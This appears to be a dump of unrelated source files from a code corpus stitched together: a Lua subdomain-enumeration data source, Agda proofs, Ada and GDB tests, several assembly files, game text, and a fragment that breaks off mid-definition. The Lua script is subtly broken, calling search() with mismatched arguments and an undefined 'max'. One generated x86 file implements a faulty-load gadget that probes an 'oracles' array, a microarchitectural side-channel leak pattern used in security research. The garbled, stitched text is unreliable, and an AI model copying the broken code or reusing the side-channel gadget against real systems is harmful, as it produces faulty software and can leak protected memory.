function start()
set_rate_limit(2)
end
function check()
local c
local cfg = datasrc_config()
if cfg ~= nil then
c = cfg.credentials
end
if (c ~= nil and c.key ~= nil and c.key ~= "") then
return true
end
return false
end
function vertical(ctx, domain)
local c
local cfg = datasrc_config()
if cfg ~= nil then
c = cfg.credentials
end
if (c == nil or c.key == nil or c.key == "") then
return
end
phonebook(ctx, domain, c.key)
end
function phonebook(ctx, domain, key)
local id = search(ctx, "", domain, key)
if id == "" then
return
end
local status = 3
local limit = 1000
while status == 0 or status == 3 do
local resp = results(ctx, id, limit, key)
if resp == nil then
break
end
status = resp.status
if ((status == 0 or status == 1) and resp.selectors ~= nil and #(resp.selectors) > 0) then
if #(resp.selectors) < limit then
limit = limit - #(resp.selectors)
end
for _, s in pairs(resp.selectors) do
local t = s.selectortype
if (t == 2 or t == 3 or t == 23) then
print(s.selectorvalue)
send_names(ctx, s.selectorvalue)
end
end
end
if limit <= 0 then
break
end
end
end
function search(ctx, domain, key)
local err, body, resp
body, err = json.encode({
term=domain,
lookuplevel=0,
timeout=0,
maxresults=max,
datefrom="",
dateto="",
sort=0,
media=0,
})
if (err ~= nil and err ~= "") then
return ""
end
resp, err = request(ctx, {
method="POST",
data=body,
['url']=host .. "phonebook/search",
headers={
['x-key']=key,
['Content-Type']="application/json",
['User-Agent']=useragent,
Connection="keep-alive",
},
})
if (err ~= nil and err ~= "") then
log(ctx, "vertical search request to service failed: " .. err)
return ""
end
local j = json.decode(resp)
if (j == nil or j.status == nil or j.id == nil or j.status ~= 0) then
return ""
end
return j.id
end
function results(ctx, id, limit, key)
local resp, err = request(ctx, {
['url']=host .. "phonebook/search/result?id=" .. id .. "&limit=" .. limit,
headers={
['x-key']=key,
['User-Agent']=useragent,
Connection="keep-alive",
},
})
if (err ~= nil and err ~= "") then
log(ctx, "vertical results request to service failed: " .. err)
return nil
end
local j = json.decode(resp)
if (j == nil or j.status == nil) then
return nil
end
return j
end
|
src/Categories/Functor/Instance/Core.agda | Trebor-Huang/agda-categories | 279 | 9063 | <gh_stars>100-1000
{-# OPTIONS --without-K --safe #-}
module Categories.Functor.Instance.Core where
-- Core Functor (from Cats to Groupoids).
-- This is the right-adjoint of the forgetful functor from Groupoids to
-- Cats (see Categories.Functor.Adjoint.Instance.Core)
open import Level using (_⊔_)
open import Categories.Category using (Category)
import Categories.Category.Construction.Core as C
open import Categories.Category.Groupoid using (Groupoid)
open import Categories.Category.Instance.Cats using (Cats)
open import Categories.Category.Instance.Groupoids using (Groupoids)
open import Categories.Functor using (Functor; _∘F_; id)
open import Categories.Functor.Properties using ([_]-resp-≅; [_]-resp-≃)
open import Categories.NaturalTransformation.NaturalIsomorphism
using (NaturalIsomorphism)
import Categories.Morphism as Morphism
open import Categories.Morphism.IsoEquiv using (⌞_⌟)
import Categories.Morphism.Reasoning as MR
Core : ∀ {o ℓ e} → Functor (Cats o ℓ e) (Groupoids o (ℓ ⊔ e) e)
Core {o} {ℓ} {e} = record
{ F₀ = CoreGrpd
; F₁ = CoreFunctor
; identity = CoreId
; homomorphism = λ {A B C F G} → CoreHom {A} {B} {C} {F} {G}
; F-resp-≈ = CoreRespNI
}
where
CoreGrpd : Category o ℓ e → Groupoid o (ℓ ⊔ e) e
CoreGrpd C = record
{ category = C.Core C
; isGroupoid = C.Core-isGroupoid C
}
CoreFunctor : {A B : Category o ℓ e} →
Functor A B → Functor (C.Core A) (C.Core B)
CoreFunctor {A} {B} F = record
{ F₀ = F₀
; F₁ = [ F ]-resp-≅
; identity = ⌞ identity ⌟
; homomorphism = ⌞ homomorphism ⌟
; F-resp-≈ = [ F ]-resp-≃
}
where open Functor F
CoreId : {A : Category o ℓ e} → NaturalIsomorphism (CoreFunctor {A} id) id
CoreId {A} = record
{ F⇒G = record { η = λ _ → ≅.refl ; commute = λ _ → ⌞ MR.id-comm-sym A ⌟ ; sym-commute = λ _ → ⌞ MR.id-comm A ⌟ }
; F⇐G = record { η = λ _ → ≅.refl ; commute = λ _ → ⌞ MR.id-comm-sym A ⌟ ; sym-commute = λ _ → ⌞ MR.id-comm A ⌟ }
; iso = λ _ → record { isoˡ = ⌞ identity² ⌟ ; isoʳ = ⌞ identity² ⌟ }
}
where
open Category A
open Morphism A
CoreHom : {A B C : Category o ℓ e}
{F : Functor A B} {G : Functor B C} →
NaturalIsomorphism (CoreFunctor (G ∘F F))
(CoreFunctor G ∘F CoreFunctor F)
CoreHom {A} {B} {C} {F} {G} = record
{ F⇒G = record { η = λ _ → ≅.refl ; commute = λ _ → ⌞ MR.id-comm-sym C ⌟ ; sym-commute = λ _ → ⌞ MR.id-comm C ⌟ }
; F⇐G = record { η = λ _ → ≅.refl ; commute = λ _ → ⌞ MR.id-comm-sym C ⌟ ; sym-commute = λ _ → ⌞ MR.id-comm C ⌟ }
; iso = λ _ → record { isoˡ = ⌞ identity² ⌟ ; isoʳ = ⌞ identity² ⌟ }
}
where
open Category C
open Morphism C
CoreRespNI : {A B : Category o ℓ e} {F G : Functor A B} →
NaturalIsomorphism F G →
NaturalIsomorphism (CoreFunctor F) (CoreFunctor G)
CoreRespNI {A} {B} {F} {G} μ = record
{ F⇒G = record { η = λ _ → FX≅GX ; commute = λ _ → ⌞ ⇒.commute _ ⌟ ; sym-commute = λ _ → ⌞ ⇒.sym-commute _ ⌟ }
; F⇐G = record { η = λ _ → ≅.sym FX≅GX ; commute = λ _ → ⌞ ⇐.commute _ ⌟ ; sym-commute = λ _ → ⌞ ⇐.sym-commute _ ⌟ }
; iso = λ X → record { isoˡ = ⌞ iso.isoˡ X ⌟ ; isoʳ = ⌞ iso.isoʳ X ⌟ }
}
where
open NaturalIsomorphism μ
open Morphism B
|
libsrc/_DEVELOPMENT/adt/w_array/z80/asm_w_array_init.asm | jpoikela/z88dk | 640 | 16423 |
; ===============================================================
; Mar 2014
; ===============================================================
;
; w_array_t *w_array_init(void *p, void *data, size_t capacity)
;
; Initialize a word array structure at address p and set the
; array's initial data and capacity members. array.size = 0
;
; ===============================================================
SECTION code_clib
SECTION code_adt_w_array
PUBLIC asm_w_array_init
EXTERN asm_b_array_init, error_zc
asm_w_array_init:
; enter : hl = p
; de = data
; bc = capacity in words
;
; exit : success
;
; hl = array *
; carry reset
;
; fail if capacity too large
;
; hl = 0
; carry set
;
; uses : af, bc
sla c
rl b
jp nc, asm_b_array_init
jp error_zc
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_1047.asm | ljhsiun2/medusa | 9 | 7527 | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r13
push %r15
push %r8
push %rdi
push %rdx
lea addresses_A_ht+0x184cf, %r15
clflush (%r15)
nop
nop
nop
dec %rdx
mov (%r15), %di
nop
nop
add %r11, %r11
lea addresses_WC_ht+0x1a11, %r8
nop
nop
nop
nop
nop
add $40035, %rdx
mov $0x6162636465666768, %r13
movq %r13, %xmm4
movups %xmm4, (%r8)
nop
nop
nop
inc %rdx
pop %rdx
pop %rdi
pop %r8
pop %r15
pop %r13
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
// REPMOV
lea addresses_WT+0x1850e, %rsi
lea addresses_WT+0x188cf, %rdi
nop
nop
nop
xor $42821, %rbp
mov $55, %rcx
rep movsq
nop
nop
nop
cmp %rsi, %rsi
// Faulty Load
lea addresses_A+0x10cf, %rdi
nop
nop
nop
nop
dec %rsi
movups (%rdi), %xmm6
vpextrq $0, %xmm6, %rdx
lea oracles, %rdi
and $0xff, %rdx
shlq $12, %rdx
mov (%rdi,%rdx,1), %rdx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_A', 'congruent': 0}}
{'dst': {'same': False, 'congruent': 11, 'type': 'addresses_WT'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 0, 'type': 'addresses_WT'}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_A', 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_A_ht', 'congruent': 10}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_WC_ht', 'congruent': 1}, 'OP': 'STOR'}
{'35': 21829}
35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35
*/
|
gcc-gcc-7_3_0-release/gcc/testsuite/ada/acats/tests/c8/c83e02a.ada | best08618/asylo | 7 | 12846 | <reponame>best08618/asylo
-- C83E02A.ADA
-- Grant of Unlimited Rights
--
-- Under contracts F33600-87-D-0337, F33600-84-D-0280, MDA903-79-C-0687,
-- F08630-91-C-0015, and DCA100-97-D-0025, the U.S. Government obtained
-- unlimited rights in the software and documentation contained herein.
-- Unlimited rights are defined in DFAR 252.227-7013(a)(19). By making
-- this public release, the Government intends to confer upon all
-- recipients unlimited rights equal to those held by the Government.
-- These rights include rights to use, duplicate, release or disclose the
-- released technical data and computer software in whole or in part, in
-- any manner and for any purpose whatsoever, and to have or permit others
-- to do so.
--
-- DISCLAIMER
--
-- ALL MATERIALS OR INFORMATION HEREIN RELEASED, MADE AVAILABLE OR
-- DISCLOSED ARE AS IS. THE GOVERNMENT MAKES NO EXPRESS OR IMPLIED
-- WARRANTY AS TO ANY MATTER WHATSOEVER, INCLUDING THE CONDITIONS OF THE
-- SOFTWARE, DOCUMENTATION OR OTHER INFORMATION RELEASED, MADE AVAILABLE
-- OR DISCLOSED, OR THE OWNERSHIP, MERCHANTABILITY, OR FITNESS FOR A
-- PARTICULAR PURPOSE OF SAID MATERIAL.
--*
-- CHECK THAT WITHIN THE BODY OF A SUBPROGRAM A FORMAL PARAMETER CAN BE
-- USED DIRECTLY IN A RANGE CONSTRAINT, A DISCRIMINANT CONSTRAINT,
-- AND AN INDEX CONSTRAINT.
-- RM 8 JULY 1980
WITH REPORT;
PROCEDURE C83E02A IS
USE REPORT;
Z : INTEGER := 0 ;
PROCEDURE P1 ( A , B : INTEGER; C : IN OUT INTEGER ) IS
X : INTEGER RANGE A+1..1+B ;
BEGIN
X := A + 1 ;
C := X * B + B * X * A ; -- 4*3+3*4*3=48
END ;
PROCEDURE P2 ( A , B : INTEGER; C : IN OUT INTEGER ) IS
TYPE T (MAX : INTEGER) IS
RECORD
VALUE : INTEGER RANGE 1..3 ;
END RECORD ;
X : T(A);
BEGIN
X := ( MAX => 4 , VALUE => B ) ; -- ( 4 , 3 )
C := 10*C + X.VALUE + 2 ; -- 10*48+3+2=485
END ;
FUNCTION F3 ( A , B : INTEGER ) RETURN INTEGER IS
TYPE TABLE IS ARRAY( A..B ) OF INTEGER ;
X : TABLE ;
Y : ARRAY( A..B ) OF INTEGER ;
BEGIN
X(A) := A ; -- 5
Y(B) := B ; -- 6
RETURN X(A)-Y(B)+4 ; -- 3
END ;
BEGIN
TEST( "C83E02A" , "CHECK THAT WITHIN THE BODY OF A SUBPROGRAM " &
" A FORMAL PARAMETER CAN BE USED DIRECTLY IN" &
" A RANGE CONSTRAINT, A DISCRIMINANT CONSTRAINT"&
", AND AN INDEX CONSTRAINT" ) ;
P1 ( 3 , 3 , Z ); -- Z BECOMES 48
P2 ( 4 , F3( 5 , 6 ) , Z ); -- Z BECOMES 485
IF Z /= 485 THEN
FAILED( "ACCESSING ERROR OR COMPUTATION ERROR" );
END IF;
RESULT;
END C83E02A;
|
alloy4fun_models/trashltl/models/10/jDwxr9arywDy6Lbb3.als | Kaixi26/org.alloytools.alloy | 0 | 2381 | open main
pred idjDwxr9arywDy6Lbb3_prop11 {
all f : File | eventually f not in Protected => f in Protected'
}
pred __repair { idjDwxr9arywDy6Lbb3_prop11 }
check __repair { idjDwxr9arywDy6Lbb3_prop11 <=> prop11o } |
gdb/testsuite/gdb.ada/enums_overload/enums_overload.adb | greyblue9/binutils-gdb | 1 | 19995 | -- Copyright 2021 Free Software Foundation, Inc.
--
-- This program is free software; you can redistribute it and/or modify
-- it under the terms of the GNU General Public License as published by
-- the Free Software Foundation; either version 3 of the License, or
-- (at your option) any later version.
--
-- This program is distributed in the hope that it will be useful,
-- but WITHOUT ANY WARRANTY; without even the implied warranty of
-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-- GNU General Public License for more details.
--
-- You should have received a copy of the GNU General Public License
-- along with this program. If not, see <http://www.gnu.org/licenses/>.
package body Enums_Overload is
subtype Reddish is Color range Red .. Yellow;
procedure Test_Enums_Overload is
X: Reddish := Orange;
Y: Traffic_Signal := Yellow;
begin
--gdb: next
X := Orange;
--gdb: next
Y := Yellow;
--gdb: ptype x range red .. yellow
--gdb: set x := red
--gdb: print x red
--gdb: print enums_overload.reddish'(red) red
--gdb: set y := red
--gdb: print y red
--gdb: cont
null; -- STOP
end Test_Enums_Overload;
end Enums_Overload;
|
test/asm/label-macro-arg.asm | Wintiger0222/rgbds | 1 | 93197 | <filename>test/asm/label-macro-arg.asm<gh_stars>1-10
print: MACRO
printv \1
printt "\n"
ENDM
m1: MACRO
x\1
ENDM
S EQUS "y"
S2 EQUS "yy"
m2: MACRO
S\1
ENDM
m1 = 5
m2 = 6
m1 x = 7
m2 2 = 8
print x
print y
print xx
print yy
test_char: MACRO
VAR_DEF equs "sizeof_\1something = 0"
VAR_DEF
sizeof_\1something = 1
PURGE VAR_DEF
VAR_PRINT equs "printt \"sizeof_\1something equals {sizeof_\1something}\\n\""
VAR_PRINT
PURGE VAR_PRINT
ENDM
test_char _
test_char @
test_char #
test_char .
test_char :
|
text/maps/rocket_hideout_b4f.asm | adhi-thirumala/EvoYellow | 16 | 9882 | _RocketHideoutJessieJamesText1::
text "Not another step,"
line "brat!@@"
_RocketHideoutJessieJamesText2::
text "How dare you"
line "humiliate us at"
cont "MT.MOON!"
para "It's payback time,"
line "you brat!"
done
_RocketHideoutJessieJamesText3::
text "Such"
line "a dreadful twerp!"
prompt
_RocketHideoutJessieJamesText4::
text "Looks like TEAM"
line "ROCKET's blasting"
cont "off again!@@"
_RocketHideout4Text_4557a::
text "So! I must say, I"
line "am impressed you"
cont "got here!"
done
_RocketHideout4Text_4557f::
text "WHAT!"
line "This cannot be!"
prompt
_RocketHideout4Text_45584::
text "I see that you"
line "raise #MON"
cont "with utmost care."
para "A child like you"
line "would never"
cont "understand what I"
cont "hope to achieve."
para "I shall step"
line "aside this time!"
para "I hope we meet"
line "again..."
done
_RocketHideout4BattleText4::
text "The elevator"
line "doesn't work? Who"
cont "has the LIFT KEY?"
done
_RocketHideout4EndBattleText4::
text "No!"
prompt
_RocketHideout4Text_455ec::
text "Oh no! I dropped"
line "the LIFT KEY!"
done
|
ada-task_termination.ads | mgrojo/adalib | 15 | 10491 | <gh_stars>10-100
-- Standard Ada library specification
-- Copyright (c) 2003-2018 <NAME> <<EMAIL>>
-- Copyright (c) 2004-2016 AXE Consultants
-- Copyright (c) 2004, 2005, 2006 Ada-Europe
-- Copyright (c) 2000 The MITRE Corporation, Inc.
-- Copyright (c) 1992, 1993, 1994, 1995 Intermetrics, Inc.
-- SPDX-License-Identifier: BSD-3-Clause and LicenseRef-AdaReferenceManual
---------------------------------------------------------------------------
with Ada.Task_Identification;
with Ada.Exceptions;
package Ada.Task_Termination is
pragma Preelaborate(Task_Termination);
type Cause_Of_Termination is (Normal, Abnormal, Unhandled_Exception);
type Termination_Handler is access protected procedure
(Cause : in Cause_Of_Termination;
T : in Ada.Task_Identification.Task_Id;
X : in Ada.Exceptions.Exception_Occurrence);
procedure Set_Dependents_Fallback_Handler
(Handler: in Termination_Handler);
function Current_Task_Fallback_Handler return Termination_Handler;
procedure Set_Specific_Handler
(T : in Ada.Task_Identification.Task_Id;
Handler : in Termination_Handler);
function Specific_Handler (T : Ada.Task_Identification.Task_Id)
return Termination_Handler;
end Ada.Task_Termination;
|
tests/nasm/pmuludq.asm | DecBio/DecBio.github.io | 12,700 | 24847 | <reponame>DecBio/DecBio.github.io
global _start
section .data
align 16
dword1:
dd 0x00000002
dword2:
dd 0xFFFFFF11
dword3:
dd 0xFFF00000
dword4:
dd 0x0000FFFF
dword5:
dd 0xFFFFFFFF
mydword:
dd 0xcafebabe
myaddress:
dq 0x00adbeefc0de00ce
qword1:
dq 0xffffffff00000001
%include "header.inc"
movd mm0, [dword1]
movd mm1, [dword2]
movd mm2, [dword1]
movd mm3, [dword2]
movd mm4, [dword4]
movd mm5, [dword5]
pmuludq mm0, [mydword]
pmuludq mm2, mm1
pmuludq mm3, [dword3]
pmuludq mm4, [dword3]
pmuludq mm5, [dword5]
movd xmm1, [dword5]
pshufd xmm1, xmm1, 0
pmuludq xmm1, xmm1
movd xmm2, [dword4]
pmuludq xmm2, xmm1
%include "footer.inc"
|
oeis/020/A020855.asm | neoneye/loda-programs | 11 | 167086 | ; A020855: Decimal expansion of 1/sqrt(98).
; Submitted by <NAME>
; 1,0,1,0,1,5,2,5,4,4,5,5,2,2,1,0,7,4,9,1,4,4,0,6,3,3,7,4,4,3,5,4,9,8,6,2,7,5,4,9,7,6,5,6,2,5,2,6,9,2,4,8,6,2,3,6,9,7,6,2,8,3,8,4,2,7,9,0,9,4,6,2,7,4,7,2,9,3,3,5,9,9,1,7,8,8,4,8,2,3,8,8,0,5,4,5,8,2,6,6
add $0,1
mov $1,1
mov $3,$0
mul $3,4
lpb $3
mul $1,2
add $1,$2
add $2,$1
sub $3,1
lpe
mul $2,7
mov $4,10
pow $4,$0
div $2,$4
div $1,$2
mov $0,$1
mod $0,10
|
test/Fail/UnequalSorts.agda | cruhland/agda | 1,989 | 16264 | <reponame>cruhland/agda
module UnequalSorts where
data One : Set where one : One
data One' : Set1 where one' : One'
err : One
err = one'
|
src/math.asm | freem/nes_corelib | 16 | 16699 | <reponame>freem/nes_corelib<gh_stars>10-100
; File: math.asm
; Shared math code
;==============================================================================;
; Routines: Quick Division routines
; Shifts values to the right.
;
; div_32 - Divide by 32.
; div_16 - Divide by 16.
; div_8 - Divide by 8.
;
; Parameters:
; - *A* - value to divide.
div_32:
lsr
div_16:
lsr
div_8:
lsr
lsr
lsr
rts
;==============================================================================;
; Routines: Quick Multiply routines
; Shifts values to the left.
;
; mul_32 - Multiply by 32.
; mul_16 - Multiply by 16.
; mul_8 - Multiply by 8.
;
; Parameters:
; - *A* - value to multiply.
mul_32:
asl
mul_16:
asl
mul_8:
asl
asl
asl
rts
;==============================================================================;
; Routine: add16
; 16-bit addition; code by FMan
; Sourced from http://www.codebase64.org/doku.php?id=base:16bit_addition_and_subtraction
; Parameters:
; tmp00 First number Low byte
; tmp01 First number High byte
; tmp02 First number Low byte
; tmp03 First number High byte
; Returns:
; tmp04 Result Low byte
; tmp05 Result High byte
add16:
clc
lda tmp00 ; num1lo
adc tmp02 ; num2lo
sta tmp04 ; resultLo
lda tmp01 ; num1hi
adc tmp03 ; num2hi
sta tmp05 ; resultHi
rts
;==============================================================================;
; Routine: mul_10
; Fast Multiply by 10; code by <NAME>.
; Sourced from http://6502.org/source/integers/fastx10.htm
mul_10:
asl ; multiply by 2
sta tmp00
asl ; multiply by 2 again
asl ; and once more
clc
adc tmp00 ; A = x*8 + x*2
rts
;==============================================================================;
; Routine: modulus255
; Fast modulus 255.
; Sourced from http://6502org.wikidot.com/software-math-fastmod
; Parameters:
; tmp00 Low byte
; tmp01 High byte
modulus255:
clc
lda tmp00
adc tmp01
adc #1
sbc #0
rts
;==============================================================================;
; Routine: fastRand8
; fast 8-bit linear feedback shift register-based random number generator
; Sourced from http://codebase64.org/doku.php?id=base:small_fast_8-bit_prng
; todo: throw some variance into how numbers get XORed; the current setup might
; be a bit too predictable...
; These values run a complete loop of all 256 values:
randGenXorVals:
.hex 1D 2B 2D 4D 5F 63 65 69 71 87 8D A9 C3 CF E7 F5
fastRand8:
lda randSeed8
beq @xorIt
asl
beq @noXor
bcc @noXor
@xorIt:
pha ; save cur seed value
and #$0F ; mask with $0F (max index of randGenXorVals)
tay
pla ; restore cur seed value
eor randGenXorVals,y ; xor with one of the values from the table.
@noXor:
sta randSeed8
rts
;==============================================================================;
; fast 16-bit linear feedback shift register-based random number generator
; Sourced from http://codebase64.org/doku.php?id=base:small_fast_16-bit_prng
; todo: figure out what magic number to use
; todo2: use a set of random numbers, a la fastRand8
; fastRand16:
; lda randSeed16
; beq @lowZero
; normal shift
; asl randSeed16
; lda randSeed16+1
; rol
; bcc @noXor
; @xorIt:
; high byte in A
;eor #>magic
; sta randSeed16+1
; lda randSeed16
;eor #<magic
; sta randSeed16
; rts
; @lowZero:
; lda randSeed16+1
; beq @xorIt
; asl
; beq @noXor
; bcs @xorIt
; @noXor:
; sta randSeed16+1
; rts
|
src/FLA/Algebra/Properties/Field.agda | turion/functional-linear-algebra | 21 | 8769 | <reponame>turion/functional-linear-algebra
{-# OPTIONS --without-K --safe #-}
open import Level using (Level)
open import FLA.Algebra.Structures
open import Relation.Binary.PropositionalEquality
open ≡-Reasoning
module FLA.Algebra.Properties.Field {ℓ : Level } {A : Set ℓ} ⦃ F : Field A ⦄ where
open Field F
0ᶠ+0ᶠ≡0ᶠ : 0ᶠ + 0ᶠ ≡ 0ᶠ
0ᶠ+0ᶠ≡0ᶠ = +0ᶠ 0ᶠ
0ᶠ+ : (a : A) → 0ᶠ + a ≡ a
0ᶠ+ a rewrite +-comm 0ᶠ a = +0ᶠ a
a*0ᶠ≡0ᶠ : (a : A) → a * 0ᶠ ≡ 0ᶠ
a*0ᶠ≡0ᶠ a = begin
a * 0ᶠ ≡˘⟨ 0ᶠ+ (a * 0ᶠ) ⟩
0ᶠ + a * 0ᶠ ≡⟨ cong (_+ a * 0ᶠ) (sym (+-inv a)) ⟩
- a + a + a * 0ᶠ ≡⟨ cong (λ x → - a + x + a * 0ᶠ) (sym (*1ᶠ a)) ⟩
- a + a * 1ᶠ + a * 0ᶠ ≡˘⟨ +-assoc (- a) (a * 1ᶠ) (a * 0ᶠ) ⟩
- a + (a * 1ᶠ + a * 0ᶠ) ≡⟨ cong (- a +_) (sym (*-distr-+ a 1ᶠ 0ᶠ)) ⟩
- a + (a * (1ᶠ + 0ᶠ)) ≡⟨ cong (λ x → - a + (a * x)) (+0ᶠ 1ᶠ) ⟩
- a + (a * 1ᶠ) ≡⟨ cong (- a +_) (*1ᶠ a) ⟩
- a + a ≡⟨ +-inv a ⟩
0ᶠ ∎
0ᶠ*a≡0ᶠ : (a : A) → 0ᶠ * a ≡ 0ᶠ
0ᶠ*a≡0ᶠ a = trans (*-comm 0ᶠ a) (a*0ᶠ≡0ᶠ a)
-a≡-1ᶠ*a : (a : A) → - a ≡ - 1ᶠ * a
-a≡-1ᶠ*a a = begin
- a ≡˘⟨ +0ᶠ (- a) ⟩
- a + 0ᶠ ≡⟨ cong (- a +_) (sym (a*0ᶠ≡0ᶠ a)) ⟩
- a + (a * 0ᶠ) ≡⟨ cong (λ x → - a + (a * x)) (sym (+-inv 1ᶠ)) ⟩
- a + (a * (- 1ᶠ + 1ᶠ)) ≡⟨ cong (- a +_) (*-distr-+ a (- 1ᶠ) 1ᶠ) ⟩
- a + (a * - 1ᶠ + a * 1ᶠ) ≡⟨ cong (- a +_) (+-comm (a * - 1ᶠ) (a * 1ᶠ)) ⟩
- a + (a * 1ᶠ + a * - 1ᶠ ) ≡⟨ +-assoc (- a) (a * 1ᶠ) (a * - 1ᶠ) ⟩
- a + a * 1ᶠ + a * - 1ᶠ ≡⟨ cong (λ x → - a + x + a * - 1ᶠ) (*1ᶠ a) ⟩
- a + a + a * - 1ᶠ ≡⟨ cong (_+ a * - 1ᶠ) (+-inv a) ⟩
0ᶠ + a * - 1ᶠ ≡⟨ 0ᶠ+ (a * - 1ᶠ) ⟩
a * - 1ᶠ ≡⟨ *-comm a (- 1ᶠ) ⟩
- 1ᶠ * a ∎
-a*b≡-[a*b] : (a b : A) → - a * b ≡ - (a * b)
-a*b≡-[a*b] a b = begin
- a * b ≡⟨ cong (_* b) (-a≡-1ᶠ*a a) ⟩
(- 1ᶠ * a) * b ≡˘⟨ *-assoc (- 1ᶠ) a b ⟩
- 1ᶠ * (a * b) ≡˘⟨ -a≡-1ᶠ*a ((a * b)) ⟩
- (a * b) ∎
a*-b≡-[a*b] : (a b : A) → a * - b ≡ - (a * b)
a*-b≡-[a*b] a b = begin
a * - b ≡⟨ *-comm a (- b) ⟩
- b * a ≡⟨ -a*b≡-[a*b] b a ⟩
- (b * a) ≡⟨ cong -_ (*-comm b a) ⟩
- (a * b) ∎
|
src/main/ada/aoc.ads | wooky/aoc.kt | 0 | 29898 | package AOC is
package Day is
type Day is abstract tagged limited null record;
type Access_Day is access Day'Class;
procedure Init (D : in out Day; Root : String) is abstract;
function Part_1 (D : Day) return String is abstract;
function Part_2 (D : Day) return String is abstract;
end Day;
package Runner is
type Runner is abstract tagged limited null record;
type Access_Runner is access Runner'Class;
function Get_Day (R : Runner; Day_Number : Natural) return Day.Access_Day is abstract;
end Runner;
end AOC;
|
wof/lcs/base/191.asm | zengfr/arcade_game_romhacking_sourcecode_top_secret_data | 6 | 104613 | copyright zengfr site:http://github.com/zengfr/romhack
0106E2 moveq #$0, D0 [base+191]
011362 beq $113a4 [base+191]
0113A4 rts [base+191]
copyright zengfr site:http://github.com/zengfr/romhack
|
src/Extensions/ListFirstFunctional.agda | metaborg/ts.agda | 4 | 14519 | module Extensions.ListFirstFunctional where
open import Prelude hiding (_⊔_)
open import Level
private
lemma : ∀ {a b} {A : Set a} {P : A → Set b} (decP : ∀ a → (Dec $ P a)) v {x y} →
any decP (x List.∷ v) ≡ yes (there {x = x} y) → ¬ P x
